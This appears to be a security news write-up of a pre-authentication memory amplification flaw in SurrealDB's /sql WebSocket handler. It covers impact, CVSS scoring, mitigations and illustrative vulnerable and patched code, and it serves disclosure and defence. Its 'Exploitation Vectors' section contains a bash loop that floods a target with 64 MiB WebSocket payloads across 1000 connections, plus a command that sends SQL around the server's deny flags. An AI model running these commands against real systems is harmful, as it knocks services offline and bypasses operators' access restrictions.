Listen to this Post
SurrealDB versions prior to 3.1.0 contain a pre-authentication memory amplification vulnerability in the `/sql` WebSocket upgrade handler. The vulnerability stems from two distinct but related defects in how the server handles WebSocket connections to the `/sql` endpoint.
First, the `/sql` upgrade handler accepts anonymous (unauthenticated) WebSocket connections and fails to propagate the operator-configured `SURREAL_WEBSOCKET_MAX_MESSAGE_SIZE` environment variable to the underlying WebSocket protocol layer. Instead of enforcing the administrator’s configured per-connection size limit, the server relies on the WebSocket library defaults — 16 MiB per frame and 64 MiB per reassembled message. Incoming bytes accumulate in the per-connection read buffer before the `check_anon` authentication routine can reject the query, meaning the memory cost is incurred regardless of whether the caller can ever execute a single SurrealQL statement.
Second, the same upgrade path silently ignores the `–deny-http sql` and `–deny-arbitrary-query ` configuration flags for authenticated callers. While this does not grant new permissions beyond what the authenticated principal already holds, it represents a configuration-correctness defect where operators cannot reliably enforce query-type restrictions on WebSocket connections.
An attacker exploiting the memory amplification vector must actively stream bytes into each connection, maintaining bandwidth across many concurrent connections to consume meaningful memory. Under this constraint, the attack degrades availability for legitimate `/sql` clients; on memory-constrained deployments, the SurrealDB process may be terminated by the OOM killer and restarted during the attack rather than experiencing graceful denial of service.
The patch introduced in version 3.1.0 performs the two capability checks before calling `on_upgrade` and applies the same per-connection size limits already used by the `/rpc` WebSocket endpoint.
DailyCVE Form
| Field | Value |
|-|-|
| Platform | SurrealDB |
| Version | < 3.1.0 |
| Vulnerability | Pre-auth memory amplification |
| Severity | High |
| Date | 2024-01-19 |
| Prediction | Patch already released |
What Undercode Say
Analytics
The vulnerability affects all SurrealDB versions from 1.0.0 through 3.0.5. The attack requires the attacker to maintain network bandwidth across concurrent connections, as each connection can buffer up to 64 MiB of in-flight message data. The WebSocket library defaults (16 MiB per frame, 64 MiB per reassembled message) are applied because `SURREAL_WEBSOCKET_MAX_MESSAGE_SIZE` is not propagated to the protocol layer.
Code Analysis
The following illustrates the vulnerable code path:
// VULNERABLE: /sql upgrade handler before 3.1.0
async fn sql_websocket_upgrade(ws: WebSocketUpgrade, state: State<AppState>) {
// 1. WebSocket upgrade occurs BEFORE authentication
// 2. Incoming frames buffered in memory
// 3. check_anon runs AFTER bytes already accumulated
// 4. SURREAL_WEBSOCKET_MAX_MESSAGE_SIZE NOT applied
ws.on_upgrade(|socket| async {
// Memory already consumed by buffered frames
if let Err(e) = check_anon(&state).await {
return; // Too late - memory already allocated
}
handle_sql_connection(socket).await
})
}
Patched code (3.1.0+):
// FIXED: Capability checks and size limits applied before upgrade
async fn sql_websocket_upgrade(ws: WebSocketUpgrade, state: State<AppState>) {
// 1. Authentication check performed FIRST
if let Err(e) = check_anon(&state).await {
return; // Reject before allocating WebSocket buffers
}
// 2. Apply same per-connection limits as /rpc
let config = WebsocketConfig::builder()
.max_message_size(state.config.websocket_max_message_size)
.build();
ws.with_config(config).on_upgrade(|socket| {
handle_sql_connection(socket).await
})
}
Exploitation Vectors
Vector 1: Memory Exhaustion (Pre-Auth)
Connect as anonymous and stream oversized WebSocket frames
Each connection can buffer up to 64 MiB
for i in {1..1000}; do
websocat -H "Upgrade: websocket" \
-H "Connection: Upgrade" \
ws://target:8000/sql <<< "$(dd if=/dev/zero bs=64M count=1)" &
done
Vector 2: Configuration Bypass (Authenticated)
Authenticated user can issue SQL via WebSocket even when --deny-http sql and --deny-arbitrary-query are set websocat -H "Authorization: Bearer $TOKEN" \ ws://target:8000/sql <<< 'SELECT FROM sensitive_table;'
Protection
| Mitigation | Description |
||-|
| Upgrade to 3.1.0+ | Patched versions apply size limits and capability checks correctly |
| Reverse Proxy Filtering | Refuse `GET /sql` requests carrying `Upgrade: websocket` at the reverse proxy |
| Frame Size Limits | Apply per-connection frame size limits at the reverse proxy layer |
| Network Segmentation | Restrict access to the WebSocket interface to trusted clients only |
| Header Truncation | Strip or truncate excessively long request headers before reaching the server |
Impact
| Impact Area | Details |
|-||
| Availability | Memory exhaustion leading to degraded service or OOM-kill/restart on constrained deployments |
| Attack Vector | Network, remotely exploitable without authentication |
| Privileges Required | None for memory amplification; authenticated for configuration bypass |
| Scope | Unchanged — affects only the SurrealDB instance resources |
| Confidentiality | None — no data exposure |
| Integrity | None — no data modification |
| Availability Impact | High — total loss of availability possible |
| CVSS Score | 7.5 (High) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
